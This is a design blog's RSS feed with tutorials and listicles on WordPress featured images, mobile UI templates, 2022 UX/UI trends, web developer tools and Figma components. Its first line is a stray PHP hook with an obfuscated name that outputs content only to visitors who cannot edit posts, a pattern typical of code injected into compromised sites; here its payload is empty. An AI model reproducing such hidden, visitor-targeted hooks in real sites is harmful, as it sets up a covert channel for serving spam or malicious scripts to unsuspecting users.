function wp_pf_7fd59216(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_7fd59216"); Creative Web Layouts - VVDesigns https://vvdesigns.in Design & Consulting Wed, 25 Oct 2023 15:30:41 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://vvdesigns.in/wp-content/uploads/2021/09/cropped-logo-32x32.png Creative Web Layouts - VVDesigns https://vvdesigns.in 32 32 197740417 Setting up a Featured Image in WordPress https://vvdesigns.in/setting-up-a-featured-image-in-wordpress/ https://vvdesigns.in/setting-up-a-featured-image-in-wordpress/#respond Wed, 25 Oct 2023 15:05:16 +0000 https://vvdesigns.in/?p=3299 How to Set a Featured Image in WordPress WordPress is a powerful content management system that allows users to create and manage content. One of the most important features of WordPress is the ability to set a featured image for each post or page. A featured image is the main image associated with a post ...

The post Setting up a Featured Image in WordPress appeared first on VVDesigns.]]>

How to Set a Featured Image in WordPress

WordPress is a powerful content management system that allows users to create and manage content. One of the most important features of WordPress is the ability to set a featured image for each post or page. A featured image is the main image associated with a post or page, and it is usually displayed prominently on the home page or other areas of the website.In this tutorial, we will show you how to set a featured image in WordPress.What is a Featured Image?A featured image is an image that is associated with a post or page. It is usually displayed prominently on the home page or other areas of the website. The featured image can be used to give your post or page a visual representation, as well as to help readers identify the content more easily.

How to Set a Featured Image in WordPress

Setting a featured image in WordPress is a simple process. Here’s how to do it:1. Log in to your WordPress dashboard.2. Go to the post or page where you want to set a featured image.3. On the right side of the screen, you will see the “Featured Image” section. Click on the “Set Featured Image” link.4. This will open the WordPress media library. Here you can select an existing image from your media library, or you can upload a new image.5. Once you have selected or uploaded an image, click on the “Set Featured Image” button.6. The image will now be set as the featured image for the post or page.

Tips for Choosing a Featured Image

When choosing a featured image for your post or page, there are a few things to keep in mind:• Make sure the image is relevant to the content.• Choose an image that is of high quality and resolution.• Try to use an image that is unique and eye-catching.• Make sure the image is the correct size for the featured image area.

Conclusion

Setting a featured image in WordPress is a simple process. Just remember to choose an image that is relevant to the content, of high quality, and the correct size for the featured image area. Following these tips will help you create a visually appealing and engaging post or page.

You may also like

Navigating the Challenges of Artificial Intelligence in Today’s World

The post Setting up a Featured Image in WordPress appeared first on VVDesigns.]]>
https://vvdesigns.in/setting-up-a-featured-image-in-wordpress/feed/ 0 3299
How To Create a User Interface for a Mobile App + Ui Design Templates https://vvdesigns.in/how-to-create-a-user-interface-for-a-mobile-app-ui-design-templates/ https://vvdesigns.in/how-to-create-a-user-interface-for-a-mobile-app-ui-design-templates/#respond Fri, 25 Nov 2022 09:38:05 +0000 https://vvdesigns.in/?p=2976 How to create an interface for a mobile app? There are many ways you can go about it and the best way to find out what will work best for your app is to start by thinking about your target audience.  Then, use user feedback as a guideline to help you create an interface that ...

The post How To Create a User Interface for a Mobile App + Ui Design Templates appeared first on VVDesigns.]]>

How to create an interface for a mobile app? There are many ways you can go about it and the best way to find out what will work best for your app is to start by thinking about your target audience.  Then, use user feedback as a guideline to help you create an interface that is easy to use, intuitive, and visually appealing. Once you have created a prototype of your interface, test it with real users before finalizing it.

Use These User Interface Design Templates To Create Your Own Mobile App

Creating a mobile app is a great new idea, an exclusive design, and an attractive way to get your business or product out there. Thankfully, there are many user interface design templates available online to help you get started. The following three examples will show you how to create an app using different templates.

The first example is for a business that wants to create an app for its customers. To start, choose the type of business you are in (e.g., restaurants, hotels, etc.). Next, you will need to find the right template for your business. There are many templates available online and some are free while others cost money. Once you have found the right template, it is time to begin creating your app.

To create your app using this template, first choose the type of app you would like to create (e.g., restaurant guide).

Free User Interface Design Templates To Help You Build A Perfect App UI

A lot of people believe that a well-designed user interface can make or break an app. This is why it’s important to have a quality template available to help you build a perfect UI. Free user interface design templates are the perfect way to get started.

Finding the right template can be difficult, but thankfully, there are plenty of them available online. If you’re looking for something exclusive, then you should check out premium templates. However, if the quality is more important to you than price then any of the free templates will work just fine.

Whatever your requirements, there’s sure to be a template out there that fits them perfectly. So don’t hesitate – to start building your perfect app UI today with one of these free templates!

 

How To Create A User Interface For Your Next Mobile App

Creating a user interface for your next mobile app can be a complex and time-consuming process. Whether you’re designing from scratch or borrowing elements from an existing app, there are a few tips to keep in mind.

Start by thinking about the main tasks users will need to perform on your app. What are the most common actions? How can you organize these actions into menus or screens? Once you have a basic layout figured out, you can start designing individual screens with graphic designer software.

Choose appropriate buttons, text fields, and images for your app’s interface. Make sure all elements are responsive and fit properly on different screen sizes. Finally, test your user interface frequently to make sure it looks and works as expected.

UI Design Tips for Your Next Mobile App

When you’re designing your next mobile app, pay attention to the user interface. Here are some tips to help you create an exclusive, quality design:

  1. Start with a new idea. Don’t copy the design of your competitors. Be creative and come up with an innovative approach that will set your app apart from the rest.
  2. Use high-quality templates. There are plenty of quality templates available online that can help you get started quickly. Make sure to use one that is compatible with your app’s theme and style.
  3. UseUXkit for wireframing and prototyping. This free software offers great features for creating user interfaces and can be used in conjunction with other tools such as Sketch or Inkscape.
  4. Test your designs before implementing them fully.

Unique User Interface Designs for Mobile Apps

There are many different types of user interface designs for mobile apps. Some have unique designs that make using the app easier and more efficient. Here are some examples of user interface designs that stand out:

  • The Instagram app has a scrolling feed that is continuously updated. It makes it easy to see what your friends are up to and keeps you constantly engaged with the app.
  • The Uber app has a simple design with colorful icons on a white background. The icons represent different types of transportation, so it’s easy to find the type of ride you need.
  • The Airbnb app has an intuitive design that makes it easy to find listings and book rooms. The layout features large images and bold text, which makes it easy to read and navigate.

Takeaway

There are many different ways to design user interfaces for mobile apps. However, by following some simple tips and using templates, you can create a user interface that is both effective and consistent across all devices. So, don’t be afraid to get creative, but always keep your users in mind when designing your app’s UI.

The post How To Create a User Interface for a Mobile App + Ui Design Templates appeared first on VVDesigns.]]>
https://vvdesigns.in/how-to-create-a-user-interface-for-a-mobile-app-ui-design-templates/feed/ 0 2976
16 Latest UX/UI Design Trends That You Should Know in 2022 https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/ https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/#respond Thu, 27 Jan 2022 03:49:07 +0000 https://vvdesigns.in/?p=2714 Here comes 2022, and as usual, we have prepared for you the list of the top UI/UX design trends to follow. Design in the coming year is about taking care of users, their uniqueness, and avoiding the “perfect picture”. Therefore, real-life photos, live artistic illustrations, and asymmetry are gaining more popularity. And by the way, ...

The post 16 Latest UX/UI Design Trends That You Should Know in 2022 appeared first on VVDesigns.]]>
Here comes 2022, and as usual, we have prepared for you the list of the top UI/UX design trends to follow.

Design in the coming year is about taking care of users, their uniqueness, and avoiding the “perfect picture”. Therefore, real-life photos, live artistic illustrations, and asymmetry are gaining more popularity.

And by the way, did you know that according to Pantone, the color of 2022 is violet (Very Peri)?

Let’s now explore the leading UI/UX design trends of 2022 in detail and see how popular brands successfully implement them.

The user interface (UI) defines an interaction between the user and the product or service. Simply put, UI design includes all the interactive and visual elements of the interface. They are buttons, icons, menu bars, and more. Many companies focus on UI design to refine ​the user’s overall experience.

Some UI trends that were in great request a few years ago, have remained at the top. At the same time, some have become common in 2021 and will continue gaining popularity this year.

So, let’s have a look at them!

1. Vintage, 90s

Vintage style in 2022 is trending in many areas: clothing, interior, music, print. Besides, it is organically integrated into web design.

The remarkable features of this style were inspired by the example of retro magazines. Vintage style includes the combination of bright and pastel colors, line graphic elements, shadows, rounded and at the same time sharp shapes, elegant serif fonts, and round text elements. All these features stood out in a completely new way in website interfaces in 2021. Moreover, this style remains one of the relevant UI trends 2022.

In that way, vintage style combined with a modern approach becomes a fresh and unusual trend. However, it’s no wonder they say that everything new is well forgotten old.

The brand Plus is one of the coolest examples of implementation of the vintage style.

Example of Vintage Style by Plus

Source: Plus

Below you can see an example of a more restrained vintage style by a furniture marketplace Sol’ace.

Example of Vintage Style by Solace

Source: Sol’ace

You may also like: How Much Does it Cost to Build an Online Marketplace in 2022?

2. 3D and 3D animations

3D in UI design will definitely enter our lives in 2022. 3D elements have been used before, and this year, they can be found even more often. Therefore, designers will use their skills to maximum, creating interesting concepts and animations in 3D.

3D, as one of the most popular design trends 2022, is used in many areas. They are e-commerce, architecture, fashion industry, business, culture, education, and many others. For example, Apple actively uses 3D models of its products to show their best side to future customers.

Below you can see how The Originals Museum Renault marketplace uses a 3D model to demonstrate the automobile. The user can choose the vehicle and spin the model to see it in detail.

Example of Originals Museum Renault

Source: The Originals Museum Renault

Another example of using 3D in design is demonstrated by Platoon aviation.

Example of 3D Animation by Platoon aviation

Source: Platoon aviation

3. Artistic Illustrations

Obviously, designers are looking for a way to hook the user, and to keep their attention on the site or application. And while neat vector illustrations of people and objects have been relevant for several years, now it’s time to change direction.

So, what about less-than-perfect illustrations? These can be images with natural textures, varying line width, and those hand-drawn by an artist.

Let’s take a look at how this design trend is implemented on the site How many plants.

Example of Latest UI Design Trends

Source: How Many Plants

Another one of the latest UI design trends is depicting people with different skin colors, body types, and nationalities. We are all unique and beautiful the way we are.

Below you can see an example of how to implement this user interface trend by the microsite Listen to Girls that explores the point of view of young girls.

Example of Latest UI Design Trends

Source: Listen to Girls

Notably, hand-drawn digital illustrations look organic and cozy in their naturalness. Therefore, this approach positively influences the brand and attracts the audience.

4. Brutalism

You’ve surely come across sites with huge titles, hard fonts, and a combination of bright or even neon colors. Furthermore, elements of these sites are scattered in a chaotic manner.

Nevertheless, this is what creates the composition. All this is brutalism, one of the UI design trends 2022. Obviously, this style does not seek to be comfortable and convenient. Instead, it is challenging and breaks the rules.

Although brutalism is now at its peak of popularity, you need to clearly understand when to apply it and when not. For example, this style is perfect for portfolio design. Also, it is appropriate for a conceptual clothing brand landing page or a website dedicated to a topic under discussion.

The MSG brand shows how to implement brutalism in website design.

Example of Brutalism Trend by the MSG Brand

Source: MSG

Below you can see another example of the brutalism UI trend from the portfolio of Mirelle Borra.

Example of Brutalism Trend by Mirelle Bora

Source: Mirelle Borra

5. Asymmetry

Asymmetry in UI and graphic design is not a new trend, but it will still be relevant in 2022.

People are used to standard grids and classic site structures. But what if you shift the focus and concentrate the user’s attention on the main thing?

Notably, the asymmetry can be different.

  • Barely noticeable
    Photographs at different heights, graphic elements present only on one side, different fonts and styles in one sentence.
  • Striking
    Displaced blocks, lack of the usual grid.

We can find the perfect implementation of this UI trend of 2022 on the website of Revolt. The designers have significantly changed the classic arrangement of some blocks: header, tabs, and ladder of text. Nevertheless, the page looks clear and harmonious as a whole.

Example of Asymmetry Trend by Revolt

Source: Revolt

Here’s another example of slight asymmetry implementation by the Bergen Assembly website.

Example of Asymmetry Trend by Bergen Assembly

Source: Bergen Assembly

6. Real photos

This one of the design trends 2022 is not new, but it continues to hold and will only gain popularity this year. Hands in front of a laptop, a guy in a shirt making a drawing, people smiling against the background of a growing diagram… Definitely, such pictures are familiar to you. Many designers use them, but such images don’t provide any information about the nature of the website.

We recommend you to arrange a photoshoot, and show the people behind your MVP product or website. For instance, make a collage or add a block of your photos from Instagram. Notably, live and real photos are one of the keys to user confidence.

Figma is a good example of how to use real photos in design. On Figma’s website, you can get to know the team that creates and enhances this site, and experience the atmosphere of their workspace.

Example of Real Photos Trend by Figma

Source: Figma

Below you can see another example of the real photos trend implementation by a wine production company. Their photos are quite simple – a company’s employee and the product itself. Nevertheless, they are very catchy, and above all, real.

Example of Real Photos Trend by Verre Vert Glass

Source: Verre Vert Glass

At Codica, we also follow this one of the latest UI design trends 2022 on our website. For example, recently we updated our Careers page, which now can offer a quick glimpse of the team and describe how we work.

Example of Real Photos by Codica Team

7. Scrollytelling

A new way to tell about your brand, product, or company is scrolling. Every day we scroll through the Facebook or Instagram feed, our photos on the phone, the correspondence of messages, and much more. This pattern is already familiar to the user, and therefore it can be used for other purposes. For example, you can develop a site where the main idea is explained step-by-step when scrolling.

Furthermore, it is important to understand the subject matter and the area for which this trend is applied. Not surprisingly, no one wants to scroll a site to order an urgent product for a long time. Nevertheless, you can safely implement this trend where it is appropriate.

For instance, the Blue Marine Foundation has used scrollytelling to draw attention to the ocean inhabitants’ issue.

Example of Scrollytelling Trend by Blue Marine Foundation

Source: Blue Marine Foundation

Another great example of implementing this latest UI design trend is the website of Kirifuda. A Japanese digital studio shows how to implement scrolling for the portfolio properly.

Example of Scrollytelling Trend by Kirifuda

Source: Kirifuda

8. Minimalism

Minimalism stands proudly among the latest UI trends and is not going to lose ground. In a sense, it became a classic. However, even in the classical approach, it is appropriate to bring something new, creating simple but catchy solutions.

Minimalism is based on free space, contrasting text, graphic elements, shapes, and a limited color palette. All these characteristics are aimed at simplifying the site’s visual perception. Furthermore, they ensure the convenience of interacting with it, which is always a priority for the designer.

The more simple and clear the interface is, the more pleasant it is for the user. Frequently, users want to use an application or website for their needs quickly. Therefore, minimalism is ideal in this case, without distracting or overloading the perception. Each element of this style is not just a part of the composition but also a functional component.

Interestingly, minimalism in 2022 isn’t all about monochrome or white backgrounds. This direction expands the boundaries and becomes bright. Nevertheless, it retains the general concept of simplicity and convenience.

Neuro is a brand of gum and mints and a great example of vibrant minimalism.

Example of Minimalism Trend by Neuro

Source: Neuro

At the same time, a beauty care brand Rudolph Care prefers a combination of light tones and harmonious palettes. However, this type of minimalism is also relevant through UI trends 2022.

Example of Minimalism Trend by Rudolph Care

Source: Rudolph Care

The UX (User Experience) is a broad definition, including all the experience users get when interacting with a website or application. To compare, UI focuses on how a product’s interface looks, and UX focuses on the user’s way to solve a problem. Undoubtedly, a good user experience is the best indicator of proper design for different websites, for example, e-commerce platforms, or SaaS applications.

In addition to UI trends, we decided to share a selection of UX design trends that arise from situations over the past few years. So, you can adopt a few and apply them to your product or site.

1. Inclusiveness

First of all, the designer thinks about the users’ needs. Hence, inclusiveness allows users to feel comfortable and safe while using the product.

In order to create a design accessible to everyone, it should be tested by different people. There are four principles of inclusive design:

  • Determine what exactly in design may not be available to users with unique abilities;
  • Find out what situations may arise when all users will not be able to fully use your product;
  • Involve people from different communities in the development process;
  • Offer several options for interaction with your design and strive to provide an equal experience for all users.

Therefore, inclusiveness is all about the individual characteristics of a person. For example, physical and mental disabilities, race, cultural background, gender, age, language, etc. Thus, all these aspects must be taken into account when developing a design.

Hence, more and more companies are paying attention to the diversity of their users. For instance, sites and applications where you can add custom gender and not report it at all are now common.

For example, Twitter knows perfectly how to implement this one of the most important UX design trends. On the site, developers added a column where users can not only choose, but also add their gender.

Example of Inclusiveness Trend by Twitter

Source: Twitter

A customer service website WolmartPetRx is another example of an inclusiveness trend. They plugged in a widget that makes their design more inclusive. So, users can customize the website according to their preferences.

Example of Inclusiveness Trend by WolmartPetPx

Source: WolmartPetRx

2. VR, AR

These two technologies will definitely become interesting trends in UX design 2022. Virtual Reality (VR) and Augmented Reality (AR) connect the real and digital worlds. They enable users to perceive information visually, in a similar way they perceive the world.

Now you can imagine the selection of furniture from IKEA Place sitting at home or see if the Lipstick from Sephora is right for you. AR is a good opportunity to bring the product closer to the buyer, and clarify what it is. It is great to be used for e-commerce projects.

You may also like: How to Create a Website Like Amazon?

The popularity of VR was fueled by the news of Metaverse, a new project from Facebook. The company changed its name to Meta to strengthen its ties to this project. Metaverse is a 3-dimensional projection of the world in which a user can create their 3D version and meet other users online.

For example, this approach can be used for meetings, conferences, and lectures. Thus, the goal of the project is to help people communicate, work, and develop business.

Example of VR Trend by Metaverse

Source: The Wall Street Journal

3. Super app

Essentially, the super app is an application in which many services are combined. For example, ordering goods, delivery, messenger, social network, electronic payments and others. Consequently, you no longer need a dozen applications. With super apps all services are collected in one.

Such applications are common in Asia. The two most popular supers are Chinese apps – WeChat and AliPay. Obviously, for people in this region, using such applications is an essential part of their daily lives. Now super applications are also conquering Latin America. However, it is still difficult to answer whether it will be relevant to the United States and Europe. Perhaps super apps will become one of the UX trends 2022 for these regions.

Example of Super App Trend by WeChat

Source: WeChat App

Nevertheless, despite all the advantages of super applications, creating them is a very painstaking and time-consuming job. It is because the designer’s task is to maintain a uniform style for a large number of modules, each of which has different functionality.

At the same time, when building such an app it’s important to follow one of the UX best practices, and to make a clean and understandable design. Thus, development and design teams try not to complicate the interface and force users to take extra actions. All apps, which of course includes super apps, need to be convenient in use because customers are motivated to save time and effort.

Recommended reading: 5 Major Principles for a User-Friendly Website You Need to Know

4. Audio only app

When we talk about audio apps, the first thing that comes to mind is the Clubhouse, which was at the top in the first half of 2021. Although its popularity subsided, Clubhouse did not disappear without a trace. So, what are the advantages of this type of app?

  • There is no video, which means it will be easier for people to have voice calls, staying in their comfort zone;
  • It is a great chance to listen to interesting people on the topic you need, without any links or registration;
  • It adds privacy to communication.

Therefore, the principle of audio dialling in groups has been adopted by some large companies. For example, Spotify launches its live audio app Greenroom. It is an app that lets creators interact with fans in real time by creating rooms, selecting speakers and discussing topics.

Example of Audio App Trend by Greenroom

Source: Spotify

Telegram has also added the ability to create audio rooms for group chats.

Example of Audio App Trend by Telegram

Source: Telegram

5. Design systems and libraries

Earlier the design of the system was relevant mainly for large corporations, but now this trend has been picked up by everyone. Thanks to tools such as Figma, Adobe XD, and Sketch, designers have the ability to create uniform components for all pages of a site or application. Furthermore, they can collect them into a single library, which is available to all team members.

Thus, you can call and discuss any element from the library with other members. In addition, even being far from each other, it is easy for designers working on the joint project to understand the structure and spirit of the brand and maintain its integrity.

Example of Design System Trend by Figma

Source: Figma community

6. Customization

Let’s see how great it would be to customize the sites and applications that we use every day.

Certainly, designers try to think through all the needs of the target audience, but it is impossible to take everything into account. Customization as one of the UX trends 2022 allows users to choose some design elements themselves.

As an example, the custom settings of the Instagram messenger can be cited. Now it is possible to change the theme or colors of the chat. Also, in Telegram you can change the color theme, scale, wallpaper, and even install custom languages ​​created by other users.

Example of UX Design Trends by Instagram, Telegram

Source: Instagram, Telegram

Notion is another good example of environment customization. This is an application where you can write notes, create to-do lists, knowledge bases, spreadsheets, and so on. Hence, these functions can be used in any convenient way.

For example, users can use them for self-organization, work, or as a personal diary. In addition to the variety of use cases, users can also customize the visual part as they like.

Example of UX Design Trends by Notion

Source: Notion

Nevertheless, this UX trend 2022 may be unnecessary, for example, for marketplaces. Usually, a marketplace user wants to log in, buy an item, and log out. But customization is a great solution for products where frequent and long-term interactions are expected. If customers can customize the application, they are more prone to like and buy the product.

Further reading: How UX Design Solves Online Marketplace Issues

7. Page speed prioritization

When we navigate a site, we switch many pages. So, how often do we pay attention to page loading time? Obviously, when we start to notice it. Thus, a slow loading speed becomes the reason for leaving the page.

Clearly, nobody wants to wait for a photo or video to load. We live in a time of rapid consumption of content. So optimizing web pages to speed up their loading is very important.

A designer needs to understand how to build an interface in such a way that optimization is not hindered. For example, it is better not to use a large number of fonts. One for headings and one for text will be enough.

Moreover, images often can slow down loading. Hence, designers need to compress them, but without losing quality.

Without any doubt, loading speed is essential for startup sites. When a business is just launched and you need to gain an audience, it is very important that users do not leave the site immediately.

Besides, it is equally important to be among the first lines of search results. Still, well-optimized pages are ranked to the top by Google’s algorithms. Therefore, page speed prioritization will become one of the UX best practices this year.

8. Mobile-first design

Smartphones win popularity day by day. According to Statista, global sales of mobile devices reach about 1.53 billion yearly.

Number of smartphones sold to end users worldwide from 2007 to 2021

Source: Statista

A great number of people prefer browsing pages on their phones, instead of the desktop and tablet. Therefore, mobile-first design has become a must for websites and building SaaS products and will remain at the top in 2022.

This trend changes the way websites are designed in principle. It means you create a project with mobile users’ needs in mind:

  • Make it as simple as possible;
  • Keep only the required elements;
  • Use chatbots and push notifications;
  • Design user-friendly CTAs to have more leads and sales.

The mobile-first approach is about convenience and satisfying mobile users’ demands. It influences the number of your site visitors, improves your SEO, thus providing more web traffic.

Thus, it becomes extremely valuable when developing an online marketplace as a great part of e-commerce is handled via mobile devices.

For example, let’s compare Airbnb’s website desktop and mobile versions.

Airbnb’s platform pays attention to a mobile-friendly interface, and uses organic shapes to look trendy.

Example of Mobile-first Design Trend by Airbnb

Source: Airbnb

The best advice to designers here is to make convenient mobile-first layouts a priority and experiment with typography, colours, and overlapping elements.

Mobile-first Design Trend Implementation by Airbnb

Source: Airbnb

The post 16 Latest UX/UI Design Trends That You Should Know in 2022 appeared first on VVDesigns.]]>
https://vvdesigns.in/16-latest-ux-ui-design-trends-that-you-should-know-in-2022/feed/ 0 2714
Fresh Resources for Web Designers and Developers (November 2021) https://vvdesigns.in/fresh-resources-for-web-designers-and-developers-november-2021/ https://vvdesigns.in/fresh-resources-for-web-designers-and-developers-november-2021/#respond Thu, 02 Dec 2021 05:37:05 +0000 https://vvdesigns.in/?p=2707 One thing that I love with Web development industry is that we, as developers keep innovating to make the web better. This is why we’ve always found new exciting tools and resources to feature on our list. In this round of the series, we have a tool to create nice realistic shadows using CSS3, several new frameworks and ...

The post Fresh Resources for Web Designers and Developers (November 2021) appeared first on VVDesigns.]]>
One thing that I love with Web development industry is that we, as developers keep innovating to make the web better. This is why we’ve always found new exciting tools and resources to feature on our list.

In this round of the series, we have a tool to create nice realistic shadows using CSS3, several new frameworks and libraries for React.js, and PHP.

Without further ado, let’s jump in to see the full list.

Shadow Palette

A little GUI tool that allows you to create a more realistic drop shadow for your website. You can customize several of the shadow properties such as the light position, color, and opacity. The tool will generate the CSS rules that you simply can copy and implement on your website.

Firefox Relay

Relay is a service from Firefox that allows you to create an email alias of your real email address. You can create several email aliases of one email address, and use them when signing up on websites like e-Commerce, membership, and subscription, etc. It’s a great service to protect your online privacy further.

SVGCode

A little online app to convert raster images into SVG easily. The tool supports several image formats including JPG, PNG, and WebP. It’s built with the “Progressive Web App” approach, which means even if you’re offline, the app is still going to work. Simply drag-n-drop any image onto the app and it’s all set.

Framework X
A simple framework to create a reactive application using PHP. Internally, it leverages some PHP extension like Coroutines and Fibers (available since PHP8.1) to handle the concurrent and async operations akin to Node.js. You can use Framework X everywhere that runs PHP including shared hosting.

Shopify Hydrogen
Hydrogen is a new React.js framework from the team at Shopify. It comes with building blocks to create a custom Shopify storefront such as utility functions, custom React.js hooks, and components.
If you’re looking to build a Headless store with Shopify, this framework has got you covered with the necessities.

Frappe Charts
lightweight JavaScript library to create a chart. You can install it as an NPM module or simply load the JavaScript file on your webpage like in the old days.
It supports several types of charts including bar and pie charts. It’s also responsive and fast since it is not dependent on other external JavaScript libraries.

Chrome DevTools Recorder

Google Chrome has just made an improvement to the DevTools with a feature called “Recorder”. This feature allows you to record your website interaction.

You can replay the recorded interaction or emulate it with certain environment and conditions. It provides a better measure on the real web application performance. This feature will be shipped as a beta feature on Chrome 97.

Remix

Remix is a new full-stack React.js framework that provides an abstraction to build a better website. It handles routing, error requests, and other tiny details of building a website with great user experience — out of the box. The framework will help web developers become more productive.

Redux Toolkit

An official collection of tools from Redux that aims to make developing a website with Redux more efficient. It includes some utility functions and configs for common use cases.

This way you can be more productive, instead of befuddling with the configurations and the boilerplates, which can be a bit cumbersome.

Bulletproof React

collection of tips, advice, and best practices for developing React.js application. Here you will learn a lot of topics surrounding app architecture, project structure, styling, state management, and a lot more. If want to improve your React.js skills, you should definitely have it bookmarked.

Apache EChart

An open-source initiative from Apache, EChart is more than just a chart JavaScript library. It’s a robust collection of interactive charts with animations, and with an overall better visual. This allows you to convey the data to the users better than a static chart.

Awesome Design Tools

This resource contains a massive list of tools for designers from various categories. Here you can find tools for accessibility, prototyping, sketching, stock assets (icons, photots, etc), and a lot more. I’m pretty sure a lot of designers will find this list extremely useful.

Localstack

Localstack is a fully-functioning local AWS cloud stack. This means you can develop, run and test your AWS application offline. It supports a number of AWS services including AWS Lambda, S3, DynamoDB, Kinesis, SQS, and SNS.

Having AWS stack run locally will help you speed up and simplify the testing and development workflow of your application.

Founder Resources

A collection of resources like tools and content for those who’d like to start their journey as a business or startup founder. Being an entrepreneur is not easy. So get this list bookmarked and get prepared.

EmailValidator

PHP library that makes it easy to validate an email address. It provides several methods of validation including validation through the email RFC, DNS, or you can also write your own validation.

Docker OSX

A Docker image that allows you to run a container with macOS. This is another cool stuff to help effectively test your application and ensure that it runs across different platforms.

Fonoster

An open-source alternative to Twilio. It allows you to run a stack application from VOIP, SMS, mail, chat, and video on your own server. A great alternative for those who’d like to have full control over their platform and the data.

Freescout

Freescout is a lightweight help desk application built with Laravel. You can use it to help and manage your customer tickets, mailbox, and conversations. It’s open-source, free, and packed with features.

Freescout is overall a great alternative to the paid-platform app like Zendesk and Help Scout, especially if you value and need control over your data.

Laravel Tenancy

robust PHP library to set up multitenancy in Laravel. This allows you to run a single Laravel application with multiple database connections. It works seamlessly and works out-of-the-box with several popular Laravel packages like Vapor, Nova, Livewire, and a lot more.

SwiperJS

modern JavaScript library to create a slider. Designed and intended to be used on mobile websites and apps. SwiperJS is framework agnostic which allows you to use any framework including jQuery and Zepto.

On top of that, it also provides official integration that allows it to work out-of-the-box with some of the most popular modern frameworks like Vue.js, React.js, Svelte and Angular.

The post Fresh Resources for Web Designers and Developers (November 2021) appeared first on VVDesigns.]]>
https://vvdesigns.in/fresh-resources-for-web-designers-and-developers-november-2021/feed/ 0 2707
How to create and use components in Figma for beginners https://vvdesigns.in/how-to-create-and-use-components-in-figma-for-beginners/ https://vvdesigns.in/how-to-create-and-use-components-in-figma-for-beginners/#respond Tue, 16 Nov 2021 04:55:56 +0000 https://vvdesigns.in/?p=2695 In designing, there is nothing such as perfect in one go. In UI designing, there is a term called UI component. In short, a UI component is a UI element; such as buttons and forms, that are used repetitively throughout the whole design process. When we are designing, it is almost guaranteed that we want to ...

The post How to create and use components in Figma for beginners appeared first on VVDesigns.]]>
In designing, there is nothing such as perfect in one go. In UI designing, there is a term called UI component. In short, a UI component is a UI element; such as buttons and forms, that are used repetitively throughout the whole design process.

When we are designing, it is almost guaranteed that we want to change the way our components look. Revamping it is easy, but have you ever had to replace every single element of it in more than hundreds of screens?

In Figma, our work can be done a lot easier and more consistently with the help of components. If we have multiple components that are going to be used in a project, we can export them all as a library that every one of our teammates can use across devices.

Why create components?

Maybe you are wondering, why do I have to waste my time creating tons of components that are going to be used in a project rather than just create an element and copy throughout the design process? Here are the benefits that I felt the most as a UI designer:

Saves a lot of time for changes

Trust me, you are going to be changing the way your components more than once. If we decided not to create a recurring element as a component, then we are going to waste a lot of time by replacing them in every screen one by one. In Figma, we can change the element automatically after we have changed our component and published it.

Keeps your design consistent and clean

Replacing an element one by one on every screen is prone to inconsistency and is not recommended. Replacing it manually can result in different positioning of the element. By automatically replacing it, we won’t be encountering any of this problem

Creating components in Figma

The process of creating a component is the same as creating an element from scratch. This time, I’m going to create a UI button component as an example.

As with everything, start with a frame

Imagine frame as a blank canvas that you can alter to be any component that you desire.

Determine the dimension of the component that you are going to create. Here, I’m creating a button for a mobile device. I outlined the frame so that it could be visible on this page.

A blank rectangular frame with a black border
A template for the button

After you have created your frame, you can edit it however you want. Here are some actions that you might consider doing:

  • Determine the way your component would look in terms of color — Determining the color of the component doesn’t have to be only the main color of the component. You should also consider the stroke and the effects that the component should have. My button doesn’t have a stroke and has no effect as well since this is a primary button.
A blue rectangular frame
Color the template
  • Pump up the corner radius to make it more appealing in users’ eyes — By cornering up our component when necessary, it makes our design less rigid and more welcoming. It will also make our design tidier and minimalist. Remember, the maximum value for the corner radius is 50% of the height of the element.
A blue rounded-edge frame
Add curves to make them stand out

Insert a text field if required

In this case, every button in our application would have many types of text. Hence, we need to create a text field where we can input the kind of text that we would like.

A blue rounded-edge frame with a text
Add a text if it’s only necessary

Keep in mind that you need to consider the spacing, the font size, the text and component alignment, and the text box type for your component if you are using a text field.

To make it simple, here are examples of the types of text boxes that are available in Figma. I’m using a UI form element as an example.

  • Auto width — The text box wraps the text neatly. This type of text box is used when paired with an auto-layout component that expands horizontally to make it seem effortless and doesn’t mess up the positioning of the components inside it.
A form with an auto-width text box
Auto width text box
  • Auto height — The text box adjusts itself according to the number of lines that the text will take. We determine the width of the text box. The auto height text box is used together with a component that expands vertically.
A form with an auto-height text box
Auto height text box
  • Fixed-size — The name of this text box already defines itself. We use this type of text box when we already know the maximum amount of characters or we have already know the exact size of the components. It is perfect when we want the size of our component to be immutable.
A form with a fixed-size text box
Fixed-size text box

Create the component

Creating the component from the element that we have created is easy. We can just click the create component button or simply click ctrl + alt + k to generate a component quickly from a selected element.

Create the component by choosing the option on the menu when clicking right on the component
Right-click on the component to access the menu

Add variants to enhance design reality with natural gestures

Common gestures that people use when using an application are pressing, hovering, and clicking. After we have created our component, we will have the option to add variants to our component.

Add variants that is provided on the right-side menu after clicking the component
Add variant on the right-side menu when you have clicked the component

It is crucial to pay attention to small details because those details are going to create a tremendous difference when we are creating a prototype out of our components. It would make our design a lot more realistic and alive.

In creating a mobile device button, we should consider three variants, when the button is untouched, clicked, and disabled. I prefer to call the untouched button a default button.

List of mobile button variants: default, clicked, and disabled
From top to bottom: default, clicked, disabled

Besides creating the variants and designing them, make sure that you name them properly. Name your variants with a clear meaning, name them as they appear to be. Naming your variants with random names could result in an error in Figma and you would be confused to use it yourself.

Mobile button variants name
Name your variants as they appear to be

Using components in Figma

After we have created the components, we can use them instantly.

Just drag and drop!

Simply drag the components that we have chosen in the local components section on the assets page. The component would be automatically used.

Choose the component after clicking the assets section
Pick the component that you would like to use

Choose the appropriate variant

Don’t forget to choose the variant according to the circumstances or the conditions of the screen.

Choose the variant on the right-side menu
Use the appropriate variant
The post How to create and use components in Figma for beginners appeared first on VVDesigns.]]>
https://vvdesigns.in/how-to-create-and-use-components-in-figma-for-beginners/feed/ 0 2695
13 Best WordPress Footer Design Examples (+ Best Practices) https://vvdesigns.in/13-best-wordpress-footer-design-examples-best-practices/ https://vvdesigns.in/13-best-wordpress-footer-design-examples-best-practices/#respond Mon, 15 Nov 2021 05:22:14 +0000 https://vvdesigns.in/?p=2692 Are you looking for the best footer design examples to help you get inspired?

The post 13 Best WordPress Footer Design Examples (+ Best Practices) appeared first on VVDesigns.]]>
